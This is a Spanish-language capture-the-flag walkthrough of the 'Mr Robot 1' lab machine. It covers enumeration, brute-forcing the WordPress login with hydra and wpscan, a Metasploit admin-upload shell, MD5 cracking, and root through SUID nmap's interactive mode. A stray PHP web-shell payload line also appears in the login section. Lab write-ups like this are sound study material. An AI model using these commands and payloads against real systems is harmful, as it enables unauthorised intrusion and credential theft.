Mr Robot 1

10.0.2.6 Linux Media

Enumeración

La máquina virtual Mr Robot 1 debe estár previamante configurada con red NAT dentro de nuestro entorno de virtualización, en este caso se usará Virtual Box

Netdiscover

Primero debemos ver que IP tiene asignada la máquina objetivo

sudo netdiscover -i eth1 -r 10.0.2.0/24
foto

Figura 1: Uso de netdiscover

Las tres primeras IPs son utilizadas por Virtual Box a nivel interno, por lo que no nos interesan

Vemos que la IP objetivo entonces será la 10.0.2.6

Nmap

sudo nmap -sS -Pn 10.0.2.6

Resultado:

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http

443/tcp open https

MAC Address: 08:00:27:4A:29:71 (PCS Systemtechnik/Oracle VirtualBox)

Características detectadas:

  • Puerto 22: Servidor OpenSSH
  • Puerto 80: Servidor Web Http
  • Puerto 443: Servidor Web Https

Acceso al portal web (Puerto 80)

http://10.0.2.6:80
foto

Figura 2: Portal Web

Tras una animación que simula el inicio de una máquina nos da un mensaje que parece escrito por el protagonista de la serie Elliot. (No tiene nada relevante) Luego nos muestra una serie de comandos que nos dejan interactuar con la máquina.

  • prepare: Nos muestra un video relacionado con la serie.
  • fsociety: Nos muestra un video relacionado con la serie.
  • inform: Nos muestra una serie de noticias comentadas por Mr. Robot sobre el mundo.
  • question: Nos muestra una serie de imágenes reivindicativas sobre la sociedad.
  • wakeup: Nos muestra otro video relacionado con la serie.
  • join: Este comando nos muestra lo siguiente:
foto

Figura 3: Comando join

Parece que tendremos que responder un email, si lo introducimos tras unos segundos muestra un mensaje diciendo que “estaremos en contacto”.

Enumeración con Gobuster

gobuster dir -u http://10.0.2.6 -w /usr/share/seclists/Discovery/Web-Content/common.txt
foto

Figura 4: Enumeración con Gobuster

Vemos cosas interesantes como que se trata de un sitio web de Wordpress y que tenemos directorios de archivos como wp-admin y wp-content y otros interesantes:

foto

Figura 5: Directorios interesantes

Explotación

Flag (1 - 3)

Por ejemplo podemos visitar el archivo robots.txt para ver que es un archivo de texto plano que contiene una serie de palabras que nos indican a los bots que deben ignorar nuestro sitio web.

http://10.0.2.6/robots.txt
foto

Figura 6: Acceso a http://10.0.2.6/robots.txt

http://10.0.2.6/key-1-of-3.txt
foto

Figura 7: Acceso a http://10.0.2.6/key-1-of-3.txt

El otro archivo que encontramos es fsociety.dic que se trata de un diccionario con 858,160 palabras, lo vamos a guardar

curl http://10.0.2.6/fsocity.dic > fsocity.dic
foto

Figura 8: Descarga del fichero fsocity.dic

foto

Figura 9: Fichero fsocity.dic ya descargado

Login Wordpress

En el panel de login Wordpress encontramos algo útil para probar: Nos permite verificar si el usuario es correcto independientemente de la contraseña

User-Agent: <?php system($_GET['cmd']);?>
foto

Figura 10: Acceso al loggin de Wordpress

Sabiendo esto podemos usar el diccionario que hemos encontrado para intentar lograr acceso a la máquina.

hydra -L ./fsocity.dic -p 1234 10.0.2.6 http-form-post "/wp-login.php: log=^USER^&pwd=^PASS^:Invalid"”
foto

Figura 11: Ataque de fuerza bruta con Hydra

Veremos dos usuários válidos:

  • Elliot : 1234
  • elliot : 1234

Encontramos varios usuarios, ahora podemos hacer lo mismo para la contraseña ya que si probamos estos usuarios veremos que el mensaje cambia.

foto

Figura 12: Acceso al login de Wordpress

Para hacer fuerza bruta sobre el login vamos a usar una herramienta diseñada concretamente para Worpress llamada wpscan ya que hydra nos podría dar falsos positivos.

wpscan --url http://10.0.2.6 --usernames Elliot --passwords ./fsocity.dic
foto

Figura 13: Uso de la herramienta WPScan

Si falla actualizar dependencias y luego volver a ejecutar wpscan :

sudo apt update --system
sudo apt install bundler
cd /usr/share/wpscan
sudo bundle install

o también probar con esto y luego volver a ejecutar wpscan:

gem install wpscan

Una vez finalizado el ataque veremos una combinación de credenciales válidas

Una vez finalizado el ataque veremos una combinación de credenciales válidas:

  • Username : Elliot
  • Password : ER28-0652
foto

Figura 14: Resultado del escaneo con WPScan

Shell Reversa

Una vez dentro encontramos que somos administradores de Wordpress.

foto

Figura 15: Acceso como administrador al panel de Wordpress

foto

Figura 16: Podremos consultar por ejemplo los Pluigins instalados en la web

Ahora podemos aprovechar el administrador de WordPress para obtener un shell en el servidor web. Para esto, utilizaremos Metasploit.

msfconsole
foto

Figura 17: Acceder a la herramienta Metasploit

use exploit/unix/webapp/wp_admin_shell_upload
foto

Figura 18: Elegir el script apropiado de Metasploit

set RHOST 10.0.2.6
foto

Figura 19: Elegir la IP objetivo del ataque

set USERNAME Elliot
foto

Figura 20: Elegir el usuario objetivo del ataque

set PASSWORD ER28-0652
foto

Figura 21: Elegir la contraseña objetivo del ataque

set wpcheck false

Este comando desactiva la verificación automática de si un sitio usa WordPress

foto

Figura 22: Elegir la contraseña objetivo del ataque

exploit
foto

Figura 23: Ejecución del exploit

Veremos que ya tenemos una Shell interactiva con la maquina víctima

Si ahora vamos al escritorio del usuario en /home /robot, contiene la segunda key y un hash md5. La key no tenemos permiso para leerla pero el hash si por lo que simplemente vamos a crackearlo.

cd /home/robot
foto

Figura 24: Acceso a /home/robot

Flag (2 - 3)

No tenemos permisos para leerla

cat key-2-of-3.txt
cat password.raw-md5
foto

Figura 25: Acceso a /home/robot

Credenciales obtenidas:

  • Username : robot
  • Password : c3fcd3d76192e4007dfb496cca67e13b

Copiamos el hash tal cual y lo vamos a crackear con la web : https://crackstation.net/

foto

Figura 26: Acceso a /home/robot

Resultado:

  • Password : abcdefghijklmnopqrstuvwxyz

Utilicemos nuestra shell de meterpreter para generar una shell bash con Python

Una vez que tengamos nuestra shell bash, podemos iniciar sesión como robot para elevar nuestros privilegios

shell
python -c 'import pty;pty.spawn("/bin/bash")'
foto

Figura 27: Establecer una shell desde Meterpreter

su robot
abcdefghijklmnopqrstuvwxyz
foto

Figura 28: Establecernos como usuario robot

cat key-2-of-3.txt
foto

Figura 29: Flag 2- 3

Escalada de Privilegios

Este usuario no tiene privilegios para realizar ninguna acción como sudo en principio por lo que el comando sudo -l nos muestra que no tiene ninguna opción.

sudo -l
abcdefghijklmnopqrstuvwxyz
foto

Figura 30: Ejecución de sudo -l

Busqueda de un binario tenga el SUID activo

find / -perm -4000 -type f 2>/dev/null
foto

Figura 31: Busqueda de un binario tenga el SUID activo

Podemos ver que uno de ellos es nmap concretamente la versión 3.81.

Llegados a este punto, intentaremos ver que comandos puede ejecutar el usuario con privilegios de administrador

nmap --version
foto

Figura 32: Nmap versión 3.81

Flag (3 - 3)

Entre las posibles vulnerabilidades relacionadas encontramos que estas versiones de Nmap contaban con un modo interactivo que nos permite interactuar con la máquina.

nmap --interactive
!sh
whoami
cd /root
cat key-3-of-3.txt
foto

Figura 33: Flag 3 - 3